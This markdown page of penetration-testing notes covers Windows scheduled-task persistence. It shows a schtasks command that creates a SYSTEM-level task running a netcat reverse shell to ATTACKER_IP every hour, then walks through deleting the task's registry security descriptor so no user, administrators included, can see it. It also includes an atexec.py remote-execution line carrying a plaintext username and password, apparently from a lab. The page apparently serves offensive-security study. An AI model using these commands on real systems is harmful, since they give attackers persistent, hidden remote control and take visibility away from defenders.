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task-scheduler.md

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Task Scheduler

Schtasks Quick Reference

#normal task 15 minutes 
SCHTASKS /create /sc minute /mo 15 /tn "Security Scan" /tr "C:\Windows\System32\spool\drivers\color\patch.exe" 
#query all 
SCHTASKS /query
#delete task 
schtasks /delete /tn "\Security Scan" /F
#Query Specific task by name
schtasks /query /fo LIST /tn "Daily Reboot"
  • The most common way to schedule tasks is using the built-in Windows task scheduler.
  • Let's create a task that runs a reverse shell every single hour.
schtasks /create /sc hourly /mo 1 /tn TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "TaskBackdoor" has successfully been created.
  • To check if our task was successfully created, we can use the following command:
schtasks /query /tn TaskBackdoor
Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
TaskBackdoor                         5/25/2022 8:08:00 AM   Ready

Making Our Task Invisible

  • Our task should be up and running by now, but if the compromised user tries to list its scheduled tasks, our backdoor will be noticeable.
  • To further hide our scheduled task, we can make it invisible to any user in the system by deleting its Security Descriptor (SD). The security descriptor is simply an ACL that states which users have access to the scheduled task.
  • If your user isn't allowed to query a scheduled task, you won't be able to see it anymore, as Windows only shows you the tasks that you have permission to use. -
  • Deleting the SD is equivalent to disallowing all users' access to the scheduled task, including administrators.
  • The security descriptors of all scheduled tasks are stored in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\. You will find a registry key for every task, under which a value named "SD" contains the security descriptor.
  • You can only erase the value if you hold SYSTEM privileges.
  • To hide our task, let's delete the SD value for the "TaskBackdoor" task we created before. To do so, we will use psexec to open Regedit with SYSTEM privileges:
c:\tools\pstools\PsExec64.exe -s -i regedit
  • We will then delete the security descriptor for our task:
<figure><img src="https://user-images.githubusercontent.com/75596877/181060133-34619dcd-33be-40f5-aa62-2fead6f2b4de.png" alt=""><figcaption></figcaption></figure>
  • If we try to query our service again, the system will tell us there is no such task:
schtasks /query /tn TaskBackdoors
ERROR: The system cannot find the file specified.

atexec Scheduled Task Execution

python3 atexec.py CICADA/emily.oscars:'Q!3@Lp#M6b*7t*Vt'@10.10.11.35 dir